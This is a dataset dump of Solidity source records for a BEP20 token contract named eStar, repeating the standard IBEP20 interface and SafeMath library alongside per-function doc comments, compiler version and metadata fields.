/** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 895, 983 ] }
1,316
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
IBEP20
interface IBEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the BEP20 standard as defined in the EIP. */
NatSpecMultiLine
approve
function approve(address spender, uint256 amount) external returns (bool);
/** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 1647, 1726 ] }
1,317
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
IBEP20
interface IBEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
/** * @dev Interface of the BEP20 standard as defined in the EIP. */
NatSpecMultiLine
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 2039, 2141 ] }
1,318
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */
NatSpecMultiLine
add
function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; }
/** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 259, 445 ] }
1,319
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */
NatSpecMultiLine
sub
function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); }
/** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 723, 864 ] }
1,320
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */
NatSpecMultiLine
sub
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; }
/** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 1162, 1359 ] }
1,321
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */
NatSpecMultiLine
mul
function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; }
/** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 1613, 2089 ] }
1,322
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */
NatSpecMultiLine
div
function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); }
/** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 2560, 2697 ] }
1,323
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } }
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */
NatSpecMultiLine
div
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; }
/** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 3188, 3471 ] }
1,324
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
SafeMath
